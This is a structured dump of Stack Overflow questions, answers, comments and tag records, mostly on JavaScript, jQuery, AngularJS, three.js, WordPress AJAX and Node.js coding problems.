has body: If it is at variable speed couldn't he just check the date time at which he initialize the sequence and compare it to the time at which he checks the number. The difference in time would be that offset he would call variable speed For example if he wanted the number to increase 10 every 24 hours then: double intialTimeInSeconds = //Whatever the Start time would be double amountGainedEverySecond = 24/10/60/60; double nowTime = //whatever time it is now; return (nowTime - initialTimeInSeconds)*amountGainedEverySecond;
downvote count: 0
has comment: http://stackoverflow.com/comment/40052065
type: Answer
score: 2

http://stackoverflow.com/comment/40094354
type: AnswerComment
score: 0
type: Comment
has text: this is working perfectly for elements which are having classes, sorry my bad, i din't notice that there are select box options and checkbox as well which is not having any class.
comment on: http://stackoverflow.com/a/25657571

http://stackoverflow.com/q/25683295
downvote count: 0
linked to: http://stackoverflow.com/q/11638883
has body: I noted that at the LineBasicMaterial THREE documentation is said that on Windows systems the linewidth is set-up automatically to 1 and cannot be changed. On the other hand we have a very cool example from threejs.org using the same THREE version (r68) where using a Windows system the linewidth gets modified from 1 to 5 and from 5 to 1 when the mouse overs one of the lines on the scene. So, my question is, can this parameter be modified? How to do it? I tried with simply set the material.linewidth to a different number but it had no effect.
favorite count: 0
linked to: http://stackoverflow.com/q/21067461
tagged with: three.js
tagged with: line
possible better answer: http://stackoverflow.com/a/25683982
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40142819
upvote count: 1
type: Question
has title: THREE.js linewidth contradiction
tagged with: width
tagged with: javascript
has answer: http://stackoverflow.com/a/25686166
has answer: http://stackoverflow.com/a/25683982
accepted answer: http://stackoverflow.com/a/25686166
answer count: 2

http://stackoverflow.com/q/25603951
type: AnsweredQuestion
has body: I have agroup of span elements which contains img tag inside. &lt;span id = "span1" class="span-class"&gt; &lt;img src="img.jpg"/&gt; &lt;/span&gt; &lt;!--Another such span elements --&gt; &lt;span id = "span123" class="span-class"&gt; &lt;img src="img.jpg"/&gt; &lt;/span&gt; That img.jpg is defalt image that shall be rendered for any span when the page is load first. I want that img.jpg was replaced to first_clicked_img.jpg when I click to the span element for the span I clicked at the first time. Now I want that first_clicked_img.jpg and second_clicked_img.jpg substitue to each other when I click to the span. How can it be done with jQuery or, if it will be more simple, with pure js?
has title: JavaScript/jQuery changes img picture
type: Question
possible better answer: http://stackoverflow.com/a/25604090
accepted answer: http://stackoverflow.com/a/25604104
has answer: http://stackoverflow.com/a/25604090
tagged with: javascript
score: 0
answer count: 3
tagged with: jquery
has answer: http://stackoverflow.com/a/25604128
has answer: http://stackoverflow.com/a/25604104
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39996189
tagged with: css

http://stackoverflow.com/comment/40095306
type: QuestionComment
comment on: http://stackoverflow.com/q/25658363
has text: @nithin Let me re-phrase, he should redirect control to show action after creating record in create action.
score: 0
type: Comment

http://stackoverflow.com/comment/40092318
score: 0
type: Comment
has text: append the post values also to that data string.
type: QuestionComment
comment on: http://stackoverflow.com/q/25656678

radio-button
tags question: http://stackoverflow.com/q/25676297
tags question: http://stackoverflow.com/q/25558857
tags question: http://stackoverflow.com/q/25626032
tags question: http://stackoverflow.com/q/25703671
tag name: radio-button
type: Tag
tags question: http://stackoverflow.com/q/25575835
tags question: http://stackoverflow.com/q/25613737
tags question: http://stackoverflow.com/q/25673499
tags question: http://stackoverflow.com/q/25569242

http://stackoverflow.com/comment/39971324
score: 0
comment on: http://stackoverflow.com/a/25590510
type: Comment
type: AnswerComment
has text: Check the answer now, should be ok

http://stackoverflow.com/a/25600970
has body: If I'm understanding correctly, you'll be using the second format going forward? That makes it as simple as : var stocks = JSON.parse(fs.readFileSync("stocks.json")); var goog = stocks.GOOG; console.log(goog); Otherwise you could query the original array if you wanted to: var stocks = JSON.parse(fs.readFileSync("stocks.json")); var goog = stocks.filter(function(stock) { if(stock.symbol == 'AAPL') return true; } ); console.log(goog[0]); PS. don't use readFileSync it's really bad practice. ;)
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25600706
downvote count: 0

http://stackoverflow.com/a/25953850
has body: You should define callbacks before calling .open - like this function http_con() { Ti.API.info('hya'); //Database connection var http_client = Ti.Network.createHTTPClient(); //If variables has been send http_client.onload = function() { Ti.API.info('subjects: ' + this.responseText); callback(this.responseText); }; //If there is an error http_client.onerror = function(e) { Ti.API.info('error: ' + JSON.stringify(e)); }; http_client.open('POST', 'http://rdbomers-hp:89/ceres'); };
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25600346
type: Answer
answers question: http://stackoverflow.com/q/25600346

http://stackoverflow.com/comment/39926983
type: Comment
score: 1
has text: @NoobEditor Speechless! I like friendly people :)
comment on: http://stackoverflow.com/a/25566751
type: AnswerComment

http://stackoverflow.com/comment/40149149
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25687753
has text: logcat shows all logging n events, its build in eclipse.(http://developer.android.com/tools/debugging/debugging-projects.html) You can try debugging yr app with weinre.(http://people.apache.org/~pmuellr/weinre-docs/latest/Home.html)
score: 0

.net
tags question: http://stackoverflow.com/q/25562265
tags question: http://stackoverflow.com/q/25594217
tags question: http://stackoverflow.com/q/25556100
tags question: http://stackoverflow.com/q/25574070
tag name: .net
tags question: http://stackoverflow.com/q/25665210
tags question: http://stackoverflow.com/q/25585200
tags question: http://stackoverflow.com/q/25610312
type: Tag
tags question: http://stackoverflow.com/q/25559169
tags question: http://stackoverflow.com/q/25592201
tags question: http://stackoverflow.com/q/25644443
tags question: http://stackoverflow.com/q/25664016

http://stackoverflow.com/comment/39898531
score: 0
has text: check this answer http://stackoverflow.com/a/20018793/967859
type: Comment
comment on: http://stackoverflow.com/q/25551738
type: QuestionComment

lightbox
tags question: http://stackoverflow.com/q/25694920
tags question: http://stackoverflow.com/q/25675549
tags question: http://stackoverflow.com/q/25608542
tag name: lightbox
type: Tag

html-table
tags question: http://stackoverflow.com/q/25646037
tags question: http://stackoverflow.com/q/25607027
tags question: http://stackoverflow.com/q/25658493
tag name: html-table
tags question: http://stackoverflow.com/q/25611700
tags question: http://stackoverflow.com/q/25630254
tags question: http://stackoverflow.com/q/25694026
tags question: http://stackoverflow.com/q/25589580
tags question: http://stackoverflow.com/q/25560646
tags question: http://stackoverflow.com/q/25703474
type: Tag
tags question: http://stackoverflow.com/q/25672414
tags question: http://stackoverflow.com/q/25562199
tags question: http://stackoverflow.com/q/25626127
tags question: http://stackoverflow.com/q/25617594
tags question: http://stackoverflow.com/q/25669332

http://stackoverflow.com/q/25557883
possible better answer: http://stackoverflow.com/a/25558243
upvote count: 1
type: Question
has title: Animating an image sprite using jQuery Animate in steps?
has body: I am attempting to code an image sprite using jQuery and am wondering if it's possible to animate in steps instead of linear. Basically, I attempted using CSS3 animations, but IE9 is a requirement and I could not get the CSS3 animations to function correctly in IE. I have a sprite which has 12 frames, each frame being 280px X 280px. I would like to use jQuery to animate the sprite on mouseover and mouseout in steps instead of sliding the background image in a linear fashion. Here is my current code: &lt;div class="window"&gt;&lt;/div&gt; CSS: .window { width: 280px; height: 280px; background: url("http://s27.postimg.org/neu6mvztf/single_hung_door.png"); } JS: $(".window").hover( function () { $(this).animate({ 'background-position-x': '0', 'background-position-y': '-3080px' }, 1500, 'linear'); }, function () { $(this).animate({ 'background-position-x': '0', 'background-position-y': '0' }, 1500, 'linear'); } ); JSFiddle with sample of desired effect Would it be possible to accomplish this in this way? Thanks!
score: 1
has answer: http://stackoverflow.com/a/25558248
tagged with: jquery-animate
answer count: 3
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25558243
has answer: http://stackoverflow.com/a/25558453
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25558248
tagged with: css
type: AnsweredQuestion

http://stackoverflow.com/q/25580134
score: 0
answer count: 2
tagged with: string
has body: At First I use to pass data to action class from java script But I want to do in java script How to do? Jsp java script: $('#nwr_fa_dob').keypress(function(event) { $('#nwr_fa_gender').attr('disabled',false); var keycode = (event.keyCode ? event.keyCode :event.which); var dob= $('#nwr_fa_dob').val(); if(keycode == '13' || keycode =='40') { $.ajax({ type: "POST", dataType: "json", url: "dob_details", data: {dob:dob}, success: function(response) { $('#nwr_fa_dob').val(response.dob); if($('#nwr_fa_dob').val()==null || $('#nwr_fa_dob').val()=='') { alert("You Will Give Age or DateFormat of dd-MMM-yyyy(Ex : 18-Mar-1990)"); $('#nwr_fa_dob').val(''); $('#nwr_fa_dob').focus(); } else { $('#nwr_fa_dob').val(response.dob); $('#nwr_fa_gender').focus(); } } }); return false; } if(keycode=='38'){ $('#nwr_fa_fsname').focus(); return false; } }); Java Code: public String dob_fetchdate() { try { if (dob.length() == 11) { Date dat = ymd.parse(dob); if (ymd.format(dat).equals(dob)) { dob = dob; } else { dob = null; } } else if (dob.length() == 10) { dob = null; } else if (dob.length() == 2) { String date = DateNow.substring(7, 11); String year = String.valueOf(Long.valueOf(date) - Long.valueOf(dob)); dob = DateNow.substring(0, 7).concat(year); } else { dob = null; } return "success"; } catch (Exception ex) { System.out.println("Dob Error =" + ex); return "error"; } }
has title: How to check date in dd-Mon-yyyy format in javascript?
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/51224
tagged with: java
has answer: http://stackoverflow.com/a/25580706
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25591101

http://stackoverflow.com/a/25676529
upvote count: 10
type: Answer
has body: Ok after scouring around the internet for weeks, i was able to find an example here In order to work with mongoose models in your nodejs app, You need to promisify the Library and the model Instance like so in your model module, after you have defined your Schema var Article = mongoose.model('Article', ArticleSchema); Promise.promisifyAll(Article); Promise.promisifyAll(Article.prototype); exports.Article = Article; //Replace Article with the name of your Model. Now you can use your mongoose model as a promise in your controller like this exports.create = function(req, res) { var article = new Article(req.body); article.user = req.user; article.saveAsync().then(function(){ res.jsonp(article); }).catch(function (e){ return res.status(400).send({ message: errorHandler.getErrorMessage(e) }); }); };
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25555139
answers question: http://stackoverflow.com/q/25555139
score: 10
type: AcceptedAnswer

http://stackoverflow.com/comment/39910456
type: Comment
has text: It's all good, when IE9 came out I had to fix my app. Your better off to get rid of .all. Your better off to use something like jquery but thats just my opinion...glad you got it fixed!
comment on: http://stackoverflow.com/a/25557187
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40152672
score: 0
type: Comment
has text: My CSS is set like that. I was hoping for a CSS solution in case a customer has javascript turned off, but this is likely the best route. Thanks!
comment on: http://stackoverflow.com/a/25690295
type: AnswerComment

http://stackoverflow.com/a/25613929
downvote count: 0
type: Answer
score: 1
answers question: http://stackoverflow.com/q/25613737
upvote count: 1
has body: The view: @model WebApplication2.Models.Question &lt;div&gt; @Html.HiddenFor(x =&gt; x.Id) &lt;h3&gt; @Model.QuestionText &lt;/h3&gt; &lt;form action=""&gt; @foreach (var answer in Model.Answers) { &lt;p&gt; &lt;input type="radio" onclick="javascript:SubmitClick(@Model.Id, @answer.Id);"&gt;@answer.AnswerText&lt;br&gt; &lt;/p&gt; } &lt;/form&gt; &lt;/div&gt; The script function is in strongly typed view against Person: function SubmitClick(qid, aid) { var url = '@Url.Action("SubmitSurvey", "Person")'; $.post(url, { questionId: qid, answerId: aid, personId:@Model.Id }, function (data) { alert('questionId: ' + qid + ' answerId ' + aid); }); } Method invoked by script public void SubmitSurvey(int questionId, int answerId, int personId) { System.Diagnostics.Debug.WriteLine("UPDATING DATABASE " + "Selected personId: " + personId); }

http://stackoverflow.com/comment/40191716
type: AnswerComment
has text: Nice suggestion actually!
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25711558

http://stackoverflow.com/a/25652267
answers question: http://stackoverflow.com/q/25646343
type: Answer
score: 0
has body: For Javascript Dont use Textchange event instead onchange <ajax:ToolkitScriptManager ID="ToolkitScriptManager1" runat="server"> </ajax:ToolkitScriptManager> <asp:TextBox ID="Button1" runat="server" Text="Button" onchange="AlertTest()" /> Try this with your example

http://stackoverflow.com/q/25619500
favorite count: 0
possible better answer: http://stackoverflow.com/a/25619597
answer count: 3
has answer: http://stackoverflow.com/a/25619597
tagged with: http://stackoverflow.com/tag/html
score: 1
has answer: http://stackoverflow.com/a/25619657
tagged with: http-redirect
has answer: http://stackoverflow.com/a/25619679
upvote count: 1
type: AnsweredQuestion
has title: JavaScript is not redirecting
has body: My Javascript is not redirecting. Here is what I tried: Hello world Search: I want user to be redirected to a specified url no matter of the url in browser. This should be universal on different machines. I am new to JS, please advise.
accepted answer: http://stackoverflow.com/a/25619657
type: Question
downvote count: 0
tagged with: javascript

http://stackoverflow.com/q/25647907
has title: How to trigger click on links with the same class?
has answer: http://stackoverflow.com/a/25647946
has answer: http://stackoverflow.com/a/25649792
type: AnsweredQuestion
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25647946
type: Question
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25647945
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25649792
tagged with: css
has body: I have a bunch of links on a page that I want to be clicked once a checkbox is checked off. Each of these links belong to the CSS class "batchClass". How do I get these links to click once my checkbox is clicked? So far I have the basics of my JQuery function written, and it's going into the function but I can't get the links to fire. function checkAll() { if ($('#checkbox').is(":checked")) { $('.batchClass').each(function () { $(this).trigger('click'); }); console.log("Inside the function."); } } Add this function is added to the checkbox in C# code.. CheckBox chkAllAccounts = new CheckBox(); chkAllAccounts.Attributes.Add("onclick", "javascript:checkAll()"); How these links are being built in the C#.. info[idx++] = "&lt;a style=\"text-align:center;\" class=\"batchCheck\" id=\"verifiedLink_" + v.ID + "\" href=\"javascript:verifyStatement('" + v.ID + "', '0');\"&gt;&lt;img id=\"verifiedState_" + v.ID + "\" src=\"/images/icons/box_checked.png\"&gt;&lt;/a&gt;"; Could I just do a call to verifyStatement directly?

http://stackoverflow.com/comment/40161628
comment on: http://stackoverflow.com/a/25694817
has text: While the first part of your answer is correct, simply checking `isNaN` is not enough. See here for more info on number testing in javascript: http://stackoverflow.com/questions/18082/validate-decimal-numbers-in-javascript-isnumeric
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25704906
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
score: 2
upvote count: 2
type: Question
has title: Uncaught Error [$injector:modulerr] error
tagged with: javascript
has answer: http://stackoverflow.com/a/25705068
has body: I am new to Angular and I keep getting thrown the following error. Uncaught Error: [$injector:modulerr] http://errors.angularjs.org/1.3.0-rc.0/$injector/modulerr?p0=puppyFarm&p1=E…larjs.org%2F1.3.0-rc.0%2F%24injector%2Fnomod%3Fp0%3DpuppyFarm%0A%20%20%20%...<omitted>...9) I am unsure what I am doing wrong. To my knowledge, everything seems correct. My page is pretty straight forward, and everything seems to be named correctly, so I feel like this error has to do with a reference I'm not including? Let me know what you think. HTML Testin sheeeeeyit Puppies! Puppies puppies puppies puppies puppies puppies puppies puppies puppies puppies puppies puppies puppies puppies puppies puppies puppies puppies puppies Angular Javascript $(function(){ var app = angular.module('puppyFarm', []); app.controller('PupController', function(){ this.images = puppies; }); var puppies = [ "img/puppy1.jpg", "img/puppy2.jpg", "img/puppy3.jpg", "img/puppy4.jpg", "img/puppy5.jpg", "img/puppy6.jpg", "img/puppy7.jpg", "img/puppy8.jpg", ]; });
answer count: 1
downvote count: 0
favorite count: 0
tagged with: angularjs

http://stackoverflow.com/comment/39973558
type: AnswerComment
has text: Thank you I'll update the question with the full code, because I don't fully understand your answer
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25591539

http://stackoverflow.com/comment/39905806
has text: So do you know how to write a function using your code that can pass in the identifiers i.e. #btnPage2/#group1, #btnPage3/#group2.... I plan on using this on multiple pages and to slim down on repeat code i think this would be perfect for a function....just not that sure on how to write one.
comment on: http://stackoverflow.com/a/25554464
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25577618
has title: Onclick event on input type image submits form
answer count: 3
has answer: http://stackoverflow.com/a/25577655
possible better answer: http://stackoverflow.com/a/25577872
accepted answer: http://stackoverflow.com/a/25577655
has body: I got an input type image with a javascript onclick event attached to it. Everytime I click the image it submits the form. I've already added the "return false", buts that that doesn't solve the problem. Here is my code: &lt;input type="image" onclick="incrementValue(@i)" value="+" /&gt; Javascript function incrementValue(n) { var id = 'txtAantal' + n; var value = parseInt(document.getElementById(id).value, 10); value = isNaN(value) ? 0 : value; value++; document.getElementById(id).value = value; var totaal = parseFloat(document.getElementById('txtTotaal').value, 10); var prijs = parseFloat(document.getElementById('txtPrice' + n).value, 10); document.getElementById('txtTotaal').value = totaal + prijs; return false; }
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25577872
has answer: http://stackoverflow.com/a/25577707
has comment: http://stackoverflow.com/comment/39948001
type: AnsweredQuestion
tagged with: form-submit
type: Question
tagged with: javascript
tagged with: forms
tagged with: image
score: 0

http://stackoverflow.com/comment/40083244
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/25651089
has text: You should first try google there are bunch of results by "convert js to coffee" query.

http://stackoverflow.com/comment/39951960
comment on: http://stackoverflow.com/a/25579112
score: 0
type: Comment
has text: Hi Paresh. Thanks. The above code is what I am looking for. I want to set value to the checkbox selected. For example, If I select checkbox1 the value of checkbox1 should be set as "1" else "0". Can you help to rewrite the code in place of alert.
type: AnswerComment

http://stackoverflow.com/q/25626294
has answer: http://stackoverflow.com/a/25626635
accepted answer: http://stackoverflow.com/a/25626635
tagged with: javascript
tagged with: jquery
score: 0
answer count: 1
tagged with: ajax
has body: TL;DR: Not Dupe - Code first, scroll to bottom for problem. Here is the link to the demo that I currently have. In functions.php I localize my script first: function ajaxurl(){ wp_enqueue_script( 'product-selector', get_template_directory_uri() . '/js/ajax.js', array( 'jquery' ) ); wp_localize_script( 'product-selector', 'MyAjax', array( // URL to wp-admin/admin-ajax.php to process the request 'ajaxurl' =&gt; admin_url( 'admin-ajax.php' ), // generate a nonce with a unique ID "myajax-post-comment-nonce" // so that you can check it later when an AJAX request is sent //'postCommentNonce' =&gt; wp_create_nonce( 'myajax-post-comment-nonce' ), ) ); } add_action('wp_head', 'ajaxurl'); And then for the script my ajax calls on I have: function ajax_callback() { global $wpdb; // this is how you get access to the database // Declare our variable. $cat = $_POST['cat']; // Q the DB $query = $wpdb-&gt;get_col( $wpdb-&gt;prepare( " SELECT meta_value FROM $wpdb-&gt;postmeta WHERE post_category=%s ", $cat ) ); header('Content-Type: application/json'); wp_send_json( json_encode( $query ) ); } add_action( 'wp_ajax_nopriv_ajax-callback', 'ajax_callback' ); And finally for ajax.js I have: $(document).ready(function(){ var back_end_script_url = MyAjax.ajaxurl; $(function() { var category_callback = function(data) { console.log(data); var adhesion_select = $('#adhesion'); var substrate_select = $('#substrate'); substrate_select.find('option').remove(); adhesion_select.find('option').remove(); for (var k in data) { var option = $('&lt;option /&gt;').val(k).html(data[k]); adhesion_select.append(option); } }; var adhesion_callback = function(data) { console.log(data); var substrate_select = $('#substrate'); substrate_select.find('option').remove(); for (var k in data) { var option = $('&lt;option /&gt;').val(k).html(data[k]); substrate_select.append(option); } }; var category_change = function() { console.log('Category Changed'); var category = $(this).find(":selected").val(); var params = …
tagged with: php
has comment: http://stackoverflow.com/comment/40066690
type: AnsweredQuestion
has title: WordPress AJAX request returns 0
tagged with: wordpress
type: Question

http://stackoverflow.com/a/25557074
type: Answer
upvote count: 4
has body: You also need to escape the - character: /^[A-Za-z0-9._\-\] ]+$/ //------------^ Escaping - is not always necessary. Here, however, it is used inside square brackets which makes the JavaScript engine assume that you are trying to specify the range from _-] which causes a "Range out of order in character class" error. Note that /[_-a]/ is valid regex and matches characters _, ` and a (ASCII codes 95...97); which may not be the desired outcome.
answers question: http://stackoverflow.com/q/25557036
type: AcceptedAnswer
downvote count: 0
score: 4
accepted answer of: http://stackoverflow.com/q/25557036

http://stackoverflow.com/comment/41421676
comment on: http://stackoverflow.com/q/25672986
has text: Appreciate if you could look in to [this simple question](http://stackoverflow.com/questions/26383227/how-to-open-a-new-page-in-the-same-window-based-on-jquery-ajax-response). Thanks.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40187205
type: Comment
has text: That sounds... depressing. I'll see if I can think of a clever way to only write the code once. Do you have control about shutting down your app?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25697224

http://stackoverflow.com/comment/40113517
type: AnswerComment
comment on: http://stackoverflow.com/a/25665574
score: 1
type: Comment
has text: That does make the pure instantiation behave how I would expect, at least.

http://stackoverflow.com/a/29429153
upvote count: 6
downvote count: 0
answers question: http://stackoverflow.com/q/25623429
has body: You need to do the conversion yourself. The example code below uses node-iconv. var Iconv = require('iconv').Iconv; var request = require('request'); request({ uri: 'http://www.jalan.net/', encoding: null, }, function (error, response, body) { if (!error &amp;&amp; response.statusCode == 200) { body = new Iconv('shift_jis', 'utf-8').convert(body).toString(); console.log(body); // Print the web page. } }); The encoding: null parameter asks request not to convert the Buffer (a byte array) into String yet. We pass this buffer to Iconv for converting into another Buffer of UTF-8 encoding. Now this Buffer is good for being converted into a String. (BTW, http://www.alc.co.jp has switched to UTF-8, so I substituted with another site.)
score: 6
type: Answer

http://stackoverflow.com/comment/39998744
comment on: http://stackoverflow.com/q/25555216
has text: I know this is a crap answer but FF does have trouble supporting the mousewheel events. I suggest you use the scrollTo instead, which has greater support across browsers. http://www.quirksmode.org/dom/events/scroll.html
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39986989
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25599098
has text: is this what you are looking for? http://stackoverflow.com/questions/17246650/how-to-create-a-jquery-mouseover-for-multiple-divs-by-id

http://stackoverflow.com/a/25581073
score: 3
answers question: http://stackoverflow.com/q/25580783
upvote count: 3
has comment: http://stackoverflow.com/comment/39954207
has body: Try this code Go Through link HTML: You've clicked times Click me Javascript:
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25580783
type: Answer

http://stackoverflow.com/comment/39941318
comment on: http://stackoverflow.com/q/25573781
type: Comment
type: QuestionComment
score: 0
has text: I should clarify. Yes, I would like to be able to select which table in the JSON file I am going to use. I have tried using [0] or [1] to identify the table element I am using. No such luck. Syntactically I am missing something.

http://stackoverflow.com/comment/40046533
has text: *All* the methods in jQuery's prototype? Are you sure?
type: AnswerComment
comment on: http://stackoverflow.com/a/25631493
score: 0
type: Comment

http://stackoverflow.com/comment/40079478
type: AnswerComment
comment on: http://stackoverflow.com/a/25647440
type: Comment
has text: @TooTiredToDrink Check the updated answer. See if that's close to what you want.
score: 1

http://stackoverflow.com/comment/40091219
type: QuestionComment
has text: `eqnull` suppresses the warning about comparing with `null`, not `undefined`.
comment on: http://stackoverflow.com/q/25656088
score: 0
type: Comment

http://stackoverflow.com/q/25602473
score: 0
accepted answer: http://stackoverflow.com/a/25602950
answer count: 1
tagged with: jquery
tagged with: popupwindow
has title: how to format popup text in java script?
has answer: http://stackoverflow.com/a/25602950
has body: I want to format popup text using java script. but unable to do so. I did as follow - `var str = "Your changes won\'t be saved. Please press 'Cancel' to stay on the same page or 'OK' to continue."; var strbold = str.bold()` to show this msg i've done the following in the code ` var retval=confirm(strbold); if(retval==true){ isDirty = false; $(this).trigger( "click" );` but in the output instead of msg in the bold it appears something like &lt;b&gt;Your changes won't be saved. Please press 'Cancel' to stay on the same page or 'OK' to continue.&lt;\b&gt; so how to format the popup text? p.s. i want text in bold.
type: AnsweredQuestion
tagged with: popup
type: Question
tagged with: javascript

http://stackoverflow.com/q/25563102
has comment: http://stackoverflow.com/comment/39920129
has comment: http://stackoverflow.com/comment/39920154
has body: I usually check if a collection exists before iterating over it: var a1 = [1,2,3], a2; if(a1){ $.each(a1, function(k, v){ console.log(v); }); } I thought a bit about an inline solution and came up with this: !a1 || $.each(a1, function(k, v){ console.log(v); }); Which seems to work fine. Any downsides or alternatives? Without the check I would get a Uncaught TypeError: Cannot read property 'length' of undefined exception. http://jsfiddle.net/w1tuhtde/
has comment: http://stackoverflow.com/comment/39920445
has answer: http://stackoverflow.com/a/25563220
has comment: http://stackoverflow.com/comment/39920103
has title: Inline check of array presence before iteration
type: AnsweredQuestion
type: Question
accepted answer: http://stackoverflow.com/a/25563220
answer count: 1
tagged with: javascript
tagged with: jquery
score: 0

http://stackoverflow.com/a/25580512
has body: In your test.php file, try the following: session_start(); $_SESSION['test_text']= $_REQUEST['data']; echo "Pageviews=". $_SESSION['test_text'];
type: Answer
has comment: http://stackoverflow.com/comment/39953211
score: 1
upvote count: 1
downvote count: 0
answers question: http://stackoverflow.com/q/25580260

http://stackoverflow.com/comment/40054719
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25633906
type: Comment
has text: So why should the fact that Treehouse can't properly analyse the code be **our** problem? ;-) As you can see from the range of answers, there are lots of ways to overcome the issue and it doesn't necessarily require the use of *addEventListener*.

http://stackoverflow.com/comment/39996245
comment on: http://stackoverflow.com/q/25595396
score: 0
type: Comment
type: QuestionComment
has text: @Bergi That seems like what it could be. MutationObservers also don't pick up the value property of inputs for probably the same reason. I wonder how value is stored then.

http://stackoverflow.com/q/25622784
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/40030638
tagged with: javascript
has comment: http://stackoverflow.com/comment/40034663
tagged with: ember.js
has comment: http://stackoverflow.com/comment/40037371
score: 1
favorite count: 0
answer count: 0
type: UnansweredQuestion
has title: Is it possible to have a promise in createRecord
upvote count: 1
has body: I'm using simple-auth for getting a user. The user is a promise in a custom session in simple-auth: user: function() { if (this.get('isAuthenticated')) { return this.container.lookup('store:main').find('user', 'me'); } }.property('isAuthenticated') With a .then function it works: this.get('session.user').then(function(user) { this.store.createRecord('productReview', { user: user, proposition: this.get('content'), body: reviewBody }).save(); }); How to get it to work without the .then function? this.store.createRecord('productReview', { user: this.get('session.user'), proposition: this.get('content'), body: reviewBody }).save(); When I try this I get this error: Assertion Failed: You can only add a 'user' record to this relationship.

http://stackoverflow.com/q/25657347
has answer: http://stackoverflow.com/a/25657780
type: UnansweredQuestion
has body: I have a menu "Tasks" with submenus name "Assigned", "UnAssigned" and "Summary" in the main menu bar. In the below dashboard page of the menu, i have the UI tabs named "Assigned", "UnAssigned", Reports, Approved, Etc... My question is, if i click the submenu "UnAssigned" the UI tab "UnAssigned" need to get active and shows its contents and if i click the submenu "Assigned" the UI tab "Assigned" get active and shows its contents. My html code for main menu... <?php if ($usergroup!='DigitizationArtist' && $usergroup!='GraphicArtist') { echo ' UnAssigned ';} ?> Assigned Completed Approved my jquery for active assigned and unassigned.. my html coding for UI tabs... Un Assigned Assigned Summary Please advise... what is wrong in my jquery coding...(i am new to jquery) Otherwise help me with other javascripts.
has title: How to active/onfocus the dashboard UI tabs from clicking submenu of the main menubar
type: Question
tagged with: javascript
tagged with: jquery
tagged with: jquery-ui-tabs
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
tagged with: tabs

http://stackoverflow.com/q/25653639
has answer: http://stackoverflow.com/a/25716044
score: 13
upvote count: 13
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25747715
has answer: http://stackoverflow.com/a/25747715
has answer: http://stackoverflow.com/a/67594172
type: Question
accepted answer: http://stackoverflow.com/a/25716044
downvote count: 0
tagged with: javascript
has title: How do I change the location of the dat.gui dropdown?
answer count: 4
favorite count: 0
tagged with: dat.gui
has answer: http://stackoverflow.com/a/36936952
has body: I am using dat.gui, and I would like to position it somewhere different than the top right, preferably at the top overlapping a three.js canvas, is this accomplished through commands, or is there some css that will do the trick?

http://stackoverflow.com/comment/39949163
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25578185
has text: @SeanAnderson: Why is **1** problematic? I'd agree that **2** is a bit odd but why is instrumenting the prototype before instantiation bad? I'd actually say that checking if `_onAdd` is called a strange thing to be bothering with, why not test the behavior rather than the explicit call sequence?
type: Comment

http://stackoverflow.com/comment/40145292
type: AnswerComment
type: Comment
has text: Thank you, guys. So all I need is put Masonry and Infinite Scroll together and upload the file, right? Do I need to edit the Masonry or IS code to make them work with the html correctly? I just don't know javascript :(
score: 0
comment on: http://stackoverflow.com/a/25669605

http://stackoverflow.com/q/25627181
upvote count: 9
has body: When trying to compile my grunt file and build into my dist folder for deployment I get the following error in the console: Running "rev:dist" (rev) task dist/public/app/app.js &gt;&gt; 63decaf3.app.js dist/public/app/vendor.js &gt;&gt; a09756ab.vendor.js dist/public/app/app.css &gt;&gt; d2017fc8.app.css Warning: Unable to read "dist/public/bower_components/animate.css" file (Error code: EISDIR). The reason for this is that I have a bower component I've got installed named animate.css. This library is of course installed in my bower_components folder, but the matching string I have in my Grunt file only looks for files with an extension of .js, .css, et cetera. Here's my matching string: // Renames files for browser caching purposes rev: { dist: { files: { src: [ '&lt;%= yeoman.dist %&gt;/public/{,*/}*.js', '&lt;%= yeoman.dist %&gt;/public/{,*/}*.css', // Offending line '&lt;%= yeoman.dist %&gt;/public/assets/images/{,*/}*.{png,jpg,jpeg,gif,webp,svg}', '&lt;%= yeoman.dist %&gt;/public/assets/fonts/*' ] } } } And here's the directory structure: bower_components -&gt; ... -&gt; angular-ui-router -&gt; animate.css // Folder with the error ---&gt; animate.css // File that it should be recognizing ---&gt; animate.min.css // File that it should be recognizing -&gt; es5-shim -&gt; ... In this case, how would I tell Grunt that this is a directory which contains files rather than a file itself?
tagged with: javascript
has title: Grunt is treating folder with a dot as a file
tagged with: gruntjs
accepted answer: http://stackoverflow.com/a/26556887
has answer: http://stackoverflow.com/a/25627898
downvote count: 0
linked to: http://stackoverflow.com/q/24503077
favorite count: 0
has comment: http://stackoverflow.com/comment/40040521
tagged with: glob
has comment: http://stackoverflow.com/comment/40370460
has answer: http://stackoverflow.com/a/25806060
has answer: http://stackoverflow.com/a/29343845
tagged with: yeoman
answer count: 4
